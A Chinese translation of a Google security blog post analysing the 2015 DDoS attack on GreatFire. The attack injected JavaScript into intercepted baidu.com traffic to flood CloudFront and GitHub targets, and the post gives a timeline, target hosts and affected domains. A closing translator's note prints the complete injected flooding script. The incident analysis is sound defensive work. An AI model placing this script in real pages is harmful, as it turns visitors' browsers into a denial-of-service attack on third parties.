发布者 Niels Provos，杰出工程师，Google 安全小组
为了防止恶意用户发布恶意内容，我们的安全分析浏览器都在虚拟机上运行。这使我们能够确定一个网页是否包含恶意内容，避免那些利用用户浏览器的JavaScript发起的攻击。我们每天会分析数以百万计的网页，通过机器学习算法选择考察的网页，大体上覆盖了所有的网络。
在三月中旬，出现几起针对审查监测机构GreatFire的拒绝服务攻击。研究人员分析了大量这种DDoS攻击，发现了它的攻击原理，它是通过网络运营商进行的，拦截良性网页的内容并注入恶意的JavaScript代码。比如将托管在baidu.com的网页分析JavaScript代码和HTML资源，替换成包含攻击片断的JavaScript代码，这些代码会向被攻击的域名持续发送请求。
注* GreatFire 是中国托管在Github上面的开源项目，此次攻击的目的可能是希望这个项目从Github中移除。在中国这种劫持手法其实很常见，如有些网络运营商会偶尔拦截某些网站并注入广告或更换下载文件链接等，这种技术可能是第一次被用来发动DDoS攻击。
在这篇博客中，我们分析了从2015年3月1日到4月15日的数据。首次发现安全浏览在baidu.com中注入攻击代码是在3月3日，2015年我们的观察到的最后一次注入攻击是在2015年4月7日。下面攻击发动的曲线图：
我们注意到，这次攻击分为多个阶段。第一阶段似乎是一个测试，从3月3日进行到3月6日。初始测试的目标是114.113.156.119:56789和并且请求的数目被人为限制。从3月4号到3月6日，请求限制被移除。
下一个阶段是在3月10日到13日，针对下面的IP地址进行：203.90.242.126。该IP地址的域名为sinajs.cn下的主机。 3月13日，攻击扩大到d1gztyvw1gvkdq.cloudfront.net。起初，请求都通过HTTP，然后升级到HTTPS。 3月14日，攻击都通过HTTP和HTTPS开始真正的和有针对性指向d3rkfw22xppori.cloudfront.net。直到3月17日。
3月18日，受攻击的主机增加到：
d117ucqx7my6vj.cloudfront.net，
d14qqseh1jha6e.cloudfront.net，
d18yee9du95yb4.cloudfront.net，
d19r410x06nzy6.cloudfront.net，
d1blw6ybvy6vm2.cloudfront.net
这也是我们第一次发现注射截断其中的非功能性Javascript。在此攻击过程的某个时刻，CloudFront的主机开始将请求302重定向到greatfire.org以及其他域名。使用替换的Javascript在3月20日完全停止，但HTML页面注入还在继续。而使用Javascript注入会破坏了原始网页的功能，HTML注入则没有。HTML被修改成包括原始内容和注入攻击Javascript代码的内容，如下所示：
<html> <head> <meta name="referrer" content="never"/> <title> </title> </head> <body> <iframe src="http://pan.baidu.com/s/1i3[...]?t=Zmh4cXpXJApHIDFMcjZa" style="position:absolute; left:0; top:0; height:100%; width:100%; border:0px;" scrolling="yes"></iframe> </body> <script type="text/javascript"> [... 注入攻击的JavaScript代码 ...]
通过该技术，web浏览器会获取相同的HTML页面两次，但由于查询参数t的存在，第二个请求没有进行注入。被攻击的域名也发生了变化，现在包括了：
dyzem5oho3umy.cloudfront.net，
d25wg9b8djob8m.cloudfront.net
d28d0hakfq6b4n.cloudfront.net。
这个阶段进行了约10小时后，我们看到他们302重定向到一个不同域名的目标服务器。
注* *.cloudfront.net 重定向到了 github.com
针对CloudFront的主机攻击在3月25日停止。相反，托管在github.com资源则现于被攻击状态。第一个新的目标是
github.com/greatfire/wiki/wiki/nyt/，
很快就跟着
github.com/greatfire/
github.com/greatfire/wiki/wiki/dw/。
在3月26日，一个包含混淆攻击的Javascript代码取代了原来的版本并开始瞄准以下资源：github.com/greatfire/和github.com/cn-nytimes/。在这里，我们也观察到一些拦截注入。对GitHub的攻击似乎在2015年4月7日停止，这是看到最后一次观测到的注入攻击。
从三月攻击开始到四月停止，我们观测到19种独特的Javascript版本（ＭＤ５）。
对于HTML注入，他们的MD5校验和内容有关系，所以我们没有提供。注入的Javascript非常类似于上面提到的那种方式。
我们的系统观测到以下八个baidu.com域名和对应的IP地址被进了注入攻击：
cbjs.baidu.com（123.125.65.120）
eclick.baidu.com（123.125.115.164）
hm.baidu.com（61.135.185.140）
pos.baidu.com（115.239.210.141）
cpro.baidu.com（115.239.211.17）
bdimg.share.baidu.com（211.90.25.48）
pan.baidu.com（180.149.132.99）
wapbaike.baidu.com（123.125.114.15）
注入的Javascript的大小介于995到1325个字节之间。
我们希望这份报告有助于了解这种攻击的整体情况。它还表明，在目前的网络环境下，攻击者可能会借助一些安全的浏览器，任何人都将无法防范。这也表明，从背后分析这种攻击其实是很难的。
如果整个网络都通过TLS传送并加密，这样的注入攻击就不可能出现。这进一步增加了我们将网络过渡到全加密来保护完整性的动机。不幸的是，防御这种攻击对于网站经营者来说是不容易的。
注* 其中一段攻击JavaScript代码，大概内容是每２秒在html中加入一段script, url地址指向并访问 https://github.com/greatfire/ ， 从代码可以分析出，其实任何被攻击的主机都无法防范（如从http发动针对https的攻击），除非整个互联网都进入https时代（如果发生劫持，安全浏览器会发出警告）
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;
function unixtime() {
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
NUM = url_array.length;
function r_send2() {
var a = unixtime() % NUM;
get(url_array[a])
}
function get(a) {
var b;
$.ajax({
url: a,
dataType: "script",
timeout: 1E4,
cache: !0,
beforeSend: function() {
requestTime = (new Date).getTime()
},
complete: function() {
responseTime = (new Date).getTime();
b = Math.floor(responseTime - requestTime);
3E5 > responseTime - startime && (r_send(b), count += 1)
}
})
}
function r_send(a) {
setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);
评论关闭。